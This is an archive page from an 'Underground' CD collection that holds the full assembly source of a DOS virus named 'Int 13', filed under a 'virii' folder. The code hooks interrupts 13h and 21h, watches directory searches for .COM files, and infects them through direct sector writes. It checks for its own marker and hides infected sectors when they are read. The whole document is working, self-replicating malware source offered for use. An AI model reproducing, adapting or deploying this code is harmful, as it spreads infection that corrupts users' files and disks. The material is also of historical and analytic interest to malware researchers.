Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / i / int13.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 4.5 KB | 310 lines

Code Segment Assume CS:Code Old13 = 9Ch True13 = 9Dh Saved21 = 9Eh Temp13 = 9Fh VStart: loop Next ; Virus ID Next: push ax mov di,13h * 4 push di xor bp,bp mov ds,bp les bx,[di] mov di,True13 * 4 mov [di-4],bx mov [di-2],es mov ah,13h int 2Fh push es push bx int 2Fh mov es,bp mov si,21h * 4 pop ax stosw pop ax stosw push si movsw movsw mov ah,52h int 21h push es pop ds les ax,[bx+12h] ; ax is now 0000h, i.e. ah is 0. push word ptr es:[bp+2] mov si,100h mov cx,si mov di,bp push si rep movs word ptr es:[di], cs:[si] pop si pop word ptr ds:[bx+14h] push es mov al, offset Continue ; Let's use it! push ax retf SavedCX dw 1 SavedDX dw 0 SavedBX dw 0 SavedES dw 0 FileWord dw 0 SCX = offset SavedCX - offset VStart SDX = offset SavedDX - offset VStart Continue: mov es,bp pop di mov al,offset Int21 ; Two times! stosw mov es:[di],cs pop di mov al,offset Int13 ; Three times! stosw mov es:[di],cs mov es,[bp+2Ch] ; This assumes SS: mov di,bp xchg ax,bp dec cx ScanEnv: repne scasb scasb jnz ScanEnv scasw push es pop ds mov dx,di mov ah,3Dh int 21h jc NoStart mov dx,si xchg ax,bx mov ah,3Fh push ss pop ds int 21h mov ah,3Eh int 21h pop ax push ss push si push ss pop es retf NoStart: mov ah,4Ch int 21h Int13V: mov SavedBX,bx mov SavedCX,cx mov SavedDX,dx mov SavedES,es Go13: int Old13 jmp short RetF2 Int13: cmp ah,2 jne Go13 push ds push si push di push cx push dx push es push bx push dx int Old13 pop dx jc Exit13 cmp word ptr es:[bx],00E2h clc jne Exit13 mov ax,202h mov cx,es:[bx+SCX] mov dh,byte ptr es:[bx+SDX+1] mov bx,0B800h mov ds,bx mov es,bx mov bh,78h int True13 jc Exit13 mov si,7A00h pop bx mov di,bx pop es mov cx,100h rep movsw jmp short Exit13_1 Exit13: pop bx pop es Exit13_1: pop dx pop cx pop di pop si pop ds RetF2: retf 2 Int21: cmp ah,12h je FindNext int Saved21 jmp RetF2 FindNext: int Saved21 cmp al,0 jnz RetF2 push ax push bx push ds push es mov ah,2Fh int Saved21 push es pop ds mov ax,'MO' cmp ax,[bx+17] jne Exit1 cmp ax,[bx+9] je Exit1 mov al,[bx+7] add al,'@' push cx push dx mov cx,[bx+36] mov dx,200h cmp cx,dx jb Exit2 dec cx test ch,10b jz Infect cmp al,'C' jb Exit2 test ch,100b jz Infect Exit2: pop dx pop cx Exit1: pop es pop ds pop bx pop ax jmp RetF2 Infect: push si push di push cs pop es mov di,dx lea si,[bx+8] mov ah,':' stosw movsw movsw movsw movsw mov al,'.' stosb movsw movsb xor ax,ax stosb mov ds,ax mov es,ax mov si,13h * 4 mov di,Temp13 * 4 push si push di push es movsw movsw mov word ptr [si-4], offset Int13V mov [si-2], cs push cs pop ds mov ah,3Dh int Saved21 xchg ax,bx mov ax,4202h mov cx,-1 mov dx,cx int Saved21 ; DX must now be zero (.COM) Go: mov ah,3Fh mov dl,offset FileWord mov di,dx neg cx ; mov cx,1 int Saved21 push [di-8] push [di-6] mov ax,4200h xor cx,cx ; can it be inc cx ?? xor dx,dx int Saved21 mov ah,3Fh mov dx,di mov cl,2 int Saved21 mov ax,[di] pop dx pop cx cmp ax,00E2h je Close cmp ax,5A4Dh je Close mov ax,202h push cx push dx mov bx,0B800h mov es,bx mov bh,78h int True13 lds si,[di-4] push di mov di,7A00h mov cx,100h rep movsw pop di mov ax,302h pop dx pop cx push cx push dx int True13 pop dx pop cx mov ax,301h xchg cx,cs:[di-8] xchg dx,cs:[di-6] push cs pop es xor bx,bx int True13 Close: mov ah,3Eh int Saved21 pop es pop si pop di movs word ptr es:[di], es:[si] movs word ptr es:[di], es:[si] pop di pop si jmp Exit2 VName db ' Int 13' VEnd label byte VLen = offset VEnd - offset VStart Code EndS End VStart